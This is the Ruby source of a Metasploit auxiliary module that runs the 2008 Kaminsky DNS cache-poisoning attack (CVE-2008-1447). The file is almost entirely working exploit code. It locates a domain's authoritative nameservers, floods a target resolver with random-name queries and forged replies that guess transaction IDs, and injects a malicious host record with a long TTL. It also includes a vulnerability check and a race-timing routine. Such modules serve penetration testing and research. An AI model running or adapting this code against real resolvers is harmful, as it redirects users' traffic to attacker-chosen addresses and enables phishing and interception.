## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'net/dns' require 'resolv' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Capture def initialize(info = {}) super(update_info(info, 'Name' => 'DNS BailiWicked Host Attack', 'Description' => %q{ This exploit attacks a fairly ubiquitous flaw in DNS implementations which Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single malicious host entry into the target nameserver by sending random hostname queries to the target DNS server coupled with spoofed replies to those queries from the authoritative nameservers for that domain. Eventually, a guessed ID will match, the spoofed packet will get accepted, and due to the additional hostname entry being within bailiwick constraints of the original request the malicious host entry will get cached. }, 'Author' => [ 'I)ruid', 'hdm' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2008-1447' ], [ 'OSVDB', '46776'], [ 'US-CERT-VU', '800113' ], [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ], ], 'DisclosureDate' => 'Jul 21 2008' )) register_options( [ OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']), OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]), OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']), OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']), OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']), OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]), OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]), ], self.class) deregister_options('FILTER','PCAPFILE') end def auxiliary_commands return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable", "racer" => "Determine the size of the window for the target server", } end def cmd_racer(*args) targ = args[0] || rhost() dom = args[1] || "example.com" if !(targ and targ.length > 0) print_status("usage: racer [dns-server] [domain]") return end calculate_race(targ, dom) end def check targ = rhost srv_sock = Rex::Socket.create_udp( 'PeerHost' => targ, 'PeerPort' => 53 ) random = false ports = {} lport = nil reps = 0 1.upto(30) do |i| req = Resolv::DNS::Message.new txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" req.add_question(txt, Resolv::DNS::Resource::IN::TXT) req.rd = 1 srv_sock.put(req.encode) res, addr = srv_sock.recvfrom(65535, 1.0) if res and res.length > 0 reps += 1 res = Resolv::DNS::Message.decode(res) res.each_answer do |name, ttl, data| if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) t_addr, t_port = $1.split(':') vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}") t_port = t_port.to_i if(lport and lport != t_port) random = true end lport = t_port ports[t_port] ||=0 ports[t_port] +=1 end end end if(i>5 and ports.keys.length == 0) break end end srv_sock.close if(ports.keys.length == 0) vprint_error("ERROR: This server is not replying to recursive requests") return Exploit::CheckCode::Unknown end if(reps < 30) vprint_warning("WARNING: This server did not reply to all of our requests") end if(random) ports_u = ports.keys.length ports_r = ((ports.keys.length/30.0)*100).to_i print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}") if(ports_r != 100) vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.") # Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence return Exploit::CheckCode::Appears end else vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning") return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def run check_pcaprub_loaded # Check first. target = rhost() source = Rex::Socket.source_address(target) saddr = datastore['SRCADDR'] sport = datastore['SRCPORT'] hostname = datastore['HOSTNAME'] + '.' address = datastore['NEWADDR'] recons = datastore['RECONS'] xids = datastore['XIDS'].to_i newttl = datastore['TTL'].to_i xidbase = rand(20001) + 20000 numxids = xids domain = hostname.sub(/\w+\x2e/,"") srv_sock = Rex::Socket.create_udp( 'PeerHost' => target, 'PeerPort' => 53 ) # Get the source port via the metasploit service if it's not set if sport.to_i == 0 req = Resolv::DNS::Message.new txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" req.add_question(txt, Resolv::DNS::Resource::IN::TXT) req.rd = 1 srv_sock.put(req.encode) res, addr = srv_sock.recvfrom() if res and res.length > 0 res = Resolv::DNS::Message.decode(res) res.each_answer do |name, ttl, data| if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) t_addr, t_port = $1.split(':') sport = t_port.to_i print_status("Switching to target port #{sport} based on Metasploit service") if target != t_addr print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!") end end end end end # Verify its not already cached begin query = Resolv::DNS::Message.new query.add_question(hostname, Resolv::DNS::Resource::IN::A) query.rd = 0 begin cached = false srv_sock.put(query.encode) answer, addr = srv_sock.recvfrom() if answer and answer.length > 0 answer = Resolv::DNS::Message.decode(answer) answer.each_answer do |name, ttl, data| if((name.to_s + ".") == hostname) t = Time.now + ttl print_error("Failure: This hostname is already in the target cache: #{name}") print_error(" Cache entry expires on #{t}... sleeping.") cached = true select(nil,nil,nil,ttl) end end end end until not cached rescue ::Interrupt raise $! rescue ::Exception => e print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}") end res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}" # Look up the nameservers for the domain print_status "Querying recon nameserver for #{domain}'s nameservers..." answer0 = res0.send(domain, Net::DNS::NS) #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities" barbs = [] # storage for nameservers answer0.answer.each do |rr0| print_status " Got an #{rr0.type} record: #{rr0.inspect}" if rr0.type == 'NS' print_status " Querying recon nameserver for address of #{rr0.nsdname}..." answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities" answer1.answer.each do |rr1| print_status " Got an #{rr1.type} record: #{rr1.inspect}" res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..." answer2 = res2.send(domain, Net::DNS::SOA) if answer2 and answer2.header.auth? and answer2.header.anCount >= 1 nsrec = {:name => rr0.nsdname, :addr => rr1.address} barbs << nsrec print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as" end end end end if barbs.length == 0 print_status( "No DNS servers found.") srv_sock.close close_pcap return end if(xids == 0) print_status("Calculating the number of spoofed replies to send per query...") qcnt = calculate_race(target, domain, 100) numxids = ((qcnt * 1.5) / barbs.length).to_i if(numxids == 0) print_status("The server did not reply, giving up.") srv_sock.close close_pcap return end print_status("Sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query") end # Flood the target with queries and spoofed responses, one will eventually hit queries = 0 responses = 0 open_pcap unless self.capture print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...") while true randhost = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain # randomize the hostname # Send spoofed query req = Resolv::DNS::Message.new req.id = rand(2**16) req.add_question(randhost, Resolv::DNS::Resource::IN::A) req.rd = 1 src_ip = source if(saddr == 'Random') src_ip = Rex::Text.rand_text(4).unpack("C4").join(".") end p = PacketFu::UDPPacket.new p.ip_saddr = src_ip p.ip_daddr = target p.ip_ttl = 255 p.udp_sport = (rand((2**16)-1024)+1024).to_i p.udp_dport = 53 p.payload = req.encode p.recalc capture_sendto(p, target) queries += 1 # Send evil spoofed answer from ALL nameservers (barbs[*][:addr]) req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address)) req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname))) req.add_additional(hostname, newttl, Resolv::DNS::Resource::IN::A.new(address)) req.qr = 1 req.ra = 1 # Reuse our PacketFu object p.udp_sport = 53 p.udp_dport = sport.to_i xidbase.upto(xidbase+numxids-1) do |id| req.id = id p.payload = req.encode barbs.each do |barb| p.ip_saddr = barb[:addr].to_s p.recalc capture_sendto(p, target) responses += 1 end end # status update if queries % 1000 == 0 print_status("Sent #{queries} queries and #{responses} spoofed responses...") if(xids == 0) print_status("Recalculating the number of spoofed replies to send per query...") qcnt = calculate_race(target, domain, 25) numxids = ((qcnt * 1.5) / barbs.length).to_i if(numxids == 0) print_status("The server has stopped replying, giving up.") srv_sock.close close_pcap return end print_status("Now sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query") end end # every so often, check and see if the target is poisoned... if queries % 250 == 0 begin query = Resolv::DNS::Message.new query.add_question(hostname, Resolv::DNS::Resource::IN::A) query.rd = 0 srv_sock.put(query.encode) answer, addr = srv_sock.recvfrom() if answer and answer.length > 0 answer = Resolv::DNS::Message.decode(answer) answer.each_answer do |name, ttl, data| if((name.to_s + ".") == hostname) print_status("Poisoning successful after #{queries} queries and #{responses} responses: #{name} == #{address}") print_status("TTL: #{ttl} DATA: #{data}") close_pcap return end end end rescue ::Interrupt raise $! rescue ::Exception => e print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}") end end end end # # Send a recursive query to the target server, then flood # the server with non-recursive queries for the same entry. # Calculate how many non-recursive queries we receive back # until the real server responds. This should give us a # ballpark figure for ns->ns latency. We can repeat this # a few times to account for each nameserver the cache server # may query for the target domain. # def calculate_race(server, domain, num=50) q_beg_t = nil q_end_t = nil cnt = 0 times = [] hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain sock = Rex::Socket.create_udp( 'PeerHost' => server, 'PeerPort' => 53 ) req = Resolv::DNS::Message.new req.add_question(hostname, Resolv::DNS::Resource::IN::A) req.rd = 1 req.id = 1 q_beg_t = Time.now.to_f sock.put(req.encode) req.rd = 0 while(times.length < num) res, addr = sock.recvfrom(65535, 0.01) if res and res.length > 0 res = Resolv::DNS::Message.decode(res) if(res.id == 1) times << [Time.now.to_f - q_beg_t, cnt] cnt = 0 hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain sock.close sock = Rex::Socket.create_udp( 'PeerHost' => server, 'PeerPort' => 53 ) q_beg_t = Time.now.to_f req = Resolv::DNS::Message.new req.add_question(hostname, Resolv::DNS::Resource::IN::A) req.rd = 1 req.id = 1 sock.put(req.encode) req.rd = 0 end cnt += 1 end req.id += 1 sock.put(req.encode) end min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0 max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0 sum = 0 times.each{|i| sum += i[0]} avg_time = ( (sum / times.length) * 100).to_i / 100.0 min_count = times.map{|i| i[1]}.min max_count = times.map{|i| i[1]}.max sum = 0 times.each{|i| sum += i[1]} avg_count = sum / times.length sock.close print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}") # XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times) avg_count end end